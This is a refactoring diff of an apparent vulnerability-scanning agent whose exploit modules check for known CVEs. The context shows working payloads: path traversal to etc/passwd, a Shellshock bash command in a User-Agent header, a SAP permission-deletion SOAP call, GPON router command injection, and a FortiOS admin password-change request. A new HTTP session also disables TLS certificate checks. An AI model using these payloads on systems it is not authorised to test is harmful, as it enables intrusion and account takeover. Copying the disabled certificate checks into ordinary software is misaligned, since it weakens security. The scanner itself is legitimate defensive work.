Fix/refactor to use clouscraper

.mypy.ini

@@ -31,4 +31,13 @@ ignore_missing_imports = True
 ignore_missing_imports = True
 
 [mypy-adb_shell.*]
+ignore_missing_imports = True
+
+[mypy-cloudscraper.*]
+ignore_missing_imports = True
+
+[mypy-jaydebeapi.*]
+ignore_missing_imports = True
+
+[mypy-pysnmp.*]
 ignore_missing_imports = True

agent/asteroid_agent.py

@@ -17,6 +17,7 @@
 from agent import definitions
 from agent import exploits
 
+
 logging.basicConfig(
     format="%(message)s",
     datefmt="[%X]",

agent/definitions.py

@@ -1,18 +1,24 @@
 """Agent Asteriod definitions"""
 
 import abc
+import ssl
 import dataclasses
-from packaging import version
+from typing import Any
 
+import requests
+import cloudscraper
+from packaging import version
 from ostorlab.agent.kb import kb
 from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin
 
 from agent.exploits import common
 
+MAX_REDIRECTS = 2
+
 
 @dataclasses.dataclass
 class Target:
-    """Target dataclass"""
+    """Target dataclass."""
 
     scheme: str
     host: str
@@ -51,9 +57,45 @@
     risk_rating: str = "CRITICAL"
 
 
+class SSLAdapter(requests.adapters.HTTPAdapter):
+    def init_poolmanager(self, *args: Any, **kwargs: dict[str, Any]) -> Any:
+        """
+        Initializes the pool manager for handling HTTPS connections.
+
+        This method overrides the default implementation to customize the SSL context
+        for HTTPS connections, specifically to disable SSL verification and hostname checking.
+
+        Args:
+            *args: Variable length argument list. Passed to the parent method.
+            **kwargs: Keyword arguments. Passed to the parent method, after the override
+            of the ssl_context parameter.
+
+        Returns:
+            PoolManager: An instance of PoolManager configured with the provided SSL context.
+        """
+        context = ssl.create_default_context()
+        context.check_hostname = False
+        context.verify_mode = ssl.CERT_NONE
+        kwargs["ssl_context"] = context  # type:ignore[assignment]
+        return super().init_poolmanager(*args, **kwargs)  # type:ignore[no-untyped-call]
+
+
+class HttpSession(cloudscraper.CloudScraper):  # type:ignore[no-any-unimported,misc]
+    """Wrapper for the requests session class."""
+
+    def __init__(self) -> None:
+        super().__init__()
+        self.max_redirects = MAX_REDIRECTS
+        self.verify = False
+        self.mount("https://", SSLAdapter())
+
+
 class Exploit(abc.ABC):
     """Base Exploit"""
 
+    def __init__(self) -> None:
+        self.session = HttpSession()
+
     @abc.abstractmethod
     def accept(self, target: Target) -> bool:
         """Rule: heuristically detect if a specific target is valid.
@@ -64,7 +106,7 @@
         Returns:
             True if the target is valid; otherwise False.
         """
-        pass
+        raise NotImplementedError()
 
     @abc.abstractmethod
     def check(self, target: Target) -> list[Vulnerability]:
@@ -76,7 +118,7 @@
         Returns:
             List of identified vulnerabilities.
         """
-        pass
+        raise NotImplementedError()
 
     @property
     def __key__(self) -> str:

agent/exploits/cve_2014_0780.py

@@ -1,9 +1,9 @@
 """Agent Asteroid implementation for CVE-2014_0780."""
 
 import requests
+from requests import exceptions as requests_exceptions
 from ostorlab.agent.kb import kb
 from ostorlab.agent.mixins import agent_report_vulnerability_mixin
-from requests import exceptions as requests_exceptions
 
 from agent import definitions
 from agent import exploits_registry
@@ -18,7 +18,6 @@
 
 DEFAULT_TIMEOUT = 90
 DEPTH = 10
-MAX_REDIRECTS = 2
 
 
 @exploits_registry.register
@@ -28,19 +27,13 @@
     """
 
     def accept(self, target: definitions.Target) -> bool:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
-        session.verify = False
         try:
-            session.get(target.origin, timeout=DEFAULT_TIMEOUT)
+            self.session.get(target.origin, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
         return True
 
     def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
-        session.verify = False
         file_names = ["boot.ini", "etc/passwd"]
         for file_name in file_names:
             levels = "../" * DEPTH
@@ -50,8 +43,8 @@
                 r = requests.Request(method="GET", url=url)
                 prep = r.prepare()
                 prep.url = url
-                response = session.send(prep, timeout=DEFAULT_TIMEOUT)
-            except requests.exceptions.RequestException:
+                response = self.session.send(prep, timeout=DEFAULT_TIMEOUT)
+            except requests_exceptions.RequestException:
                 return []
 
             if response.status_code == 200 and "Sending file" in response.text:

agent/exploits/cve_2014_7169.py

@@ -1,6 +1,5 @@
 """Agent Asteroid implementation for CVE-2014-7169"""
 
-import requests
 from ostorlab.agent.kb import kb
 from ostorlab.agent.mixins import agent_report_vulnerability_mixin
 from requests import exceptions as requests_exceptions
@@ -26,32 +25,28 @@
 PAYLOAD_TEMPLATE = "() { :;}; /bin/bash -c 'sleep %s'"
 MAX_DELAY_DIFFERENCE = 5
 DELAYS = [30, 40, 50, 60]
-MAX_REDIRECTS = 2
 
 
 @exploits_registry.register
 class CVE20147169Exploit(definitions.Exploit):
     """CVE-2014-7169: GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability."""
 
     def accept(self, target: definitions.Target) -> bool:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
-        session.verify = False
         if target.path.endswith(".cgi") is False:
             return False
         try:
-            resp = session.get(target.url, timeout=DEFAULT_TIMEOUT)
+            resp = self.session.get(target.url, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
-        return resp.status_code == 200
+        if resp.status_code == 200:
+            return True
+        return False
 
     def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
         for delay in DELAYS:
             payload = PAYLOAD_TEMPLATE % delay
             try:
-                resp = session.get(
+                resp = self.session.get(
                     target.url,
                     headers={
                         "User-Agent": payload,

agent/exploits/cve_2016_2386.py

@@ -3,11 +3,11 @@
 import re
 from urllib import parse as urlparse
 
-import requests
+from packaging import version
 from ostorlab.agent.kb import kb
 from ostorlab.agent.mixins import agent_report_vulnerability_mixin
-from packaging import version
 from requests import exceptions as requests_exceptions
+
 from agent import definitions
 from agent import exploits_registry
 
@@ -43,7 +43,6 @@
 </soapenv:Envelope>
 """
 PERMISSION_KEYWORD = "deletePermissionByIdResponse"
-MAX_REDIRECTS = 2
 
 
 @exploits_registry.register
@@ -53,11 +52,8 @@ class CVE20162386Exploit(definitions.Exploit):
     """
 
     def accept(self, target: definitions.Target) -> bool:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
-        session.verify = False
         try:
-            resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT)
+            resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
         server = resp.headers.get("server", "Unknown")
@@ -68,11 +64,8 @@ def accept(self, target: definitions.Target) -> bool:
         return LOWER_VULNERABLE_VERSION <= target_version <= UPPER_VULNERABLE_VERSION
 
     def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
-        session.verify = False
         try:
-            resp = session.post(
+            resp = self.session.post(
                 urlparse.urljoin(target.origin, TARGET_ENDPOINT),
                 headers=HEADERS,
                 data=PAYLOAD,

agent/exploits/cve_2018_10561.py

@@ -1,6 +1,5 @@
 """Agent Asteroid implementation for CVE-2018-10561"""
 
-import requests
 from ostorlab.agent.kb import kb
 from ostorlab.agent.mixins import agent_report_vulnerability_mixin
 from requests import exceptions as requests_exceptions
@@ -16,29 +15,22 @@
 )
 
 DEFAULT_TIMEOUT = 90
-MAX_REDIRECTS = 2
 
 
 @exploits_registry.register
 class CVE201810562Exploit(definitions.Exploit):
     """CVE-2018-10562: Dasan GPON Routers Command Injection Vulnerability."""
 
     def accept(self, target: definitions.Target) -> bool:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
-        session.verify = False
         try:
-            session.get(target.origin, timeout=DEFAULT_TIMEOUT)
+            self.session.get(target.origin, timeout=DEFAULT_TIMEOUT)
         except requests_exceptions.RequestException:
             return False
 
         # TODO(alaeddine): Consider testing for '/?images/', '/GponForm/diag_Form?images/', '/diag.html?images/'.
         return True
 
     def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
-        session.verify = False
         data = {
             "XWebPageName": "diag",
             "diag_action": "ping",
@@ -49,12 +41,12 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
         }
 
         try:
-            session.post(
+            self.session.post(
                 target.origin + "/GponForm/diag_Form?images/",
                 data=data,
                 timeout=DEFAULT_TIMEOUT,
             )
-            response = session.get(
+            response = self.session.get(
                 target.origin + "/diag.html?images/",
                 timeout=DEFAULT_TIMEOUT,
             )

agent/exploits/cve_2018_13382.py

@@ -1,8 +1,9 @@
 """Agent Asteroid implementation for CVE-2018-13382: Not tested on a live target."""
 
-import requests
 from urllib3 import exceptions
 from urllib3 import disable_warnings
+
+from requests import exceptions as requests_exceptions
 from ostorlab.agent.mixins import agent_report_vulnerability_mixin
 from ostorlab.agent.kb import kb
 
@@ -19,7 +20,6 @@
     "Connection": "close",
     "Upgrade-Insecure-Requests": "1",
 }
-MAX_REDIRECTS = 2
 
 
 @exploits_registry.register
@@ -29,20 +29,14 @@
     """
 
     def accept(self, target: definitions.Target) -> bool:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
-        session.verify = False
         try:
             url = f"{target.origin}/remote/login?lang=en"
-            r = session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT)
-        except requests.exceptions.RequestException:
+            r = self.session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT)
+        except requests_exceptions.RequestException:
             return False
         return r.status_code == 200 and "<title>Please Login</title>" in r.text
 
     def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
-        session = requests.Session()
-        session.max_redirects = MAX_REDIRECTS
-        session.verify = False
         url = f"{target.origin}/remote/login?lang=en"
         # we are trying to change the password for the user : admin
         data = {
@@ -55,8 +49,10 @@
             "credential2": "ChangePassword",
         }
         try:
-            res = session.post(url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT)
-        except requests.exceptions.RequestException:
+            res = self.session.post(
+                url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT
+            )
+        except requests_exceptions.RequestException:
             return []
 
         if res.status_code == 200 and "redir=/remote/hostcheck_install" in res.text: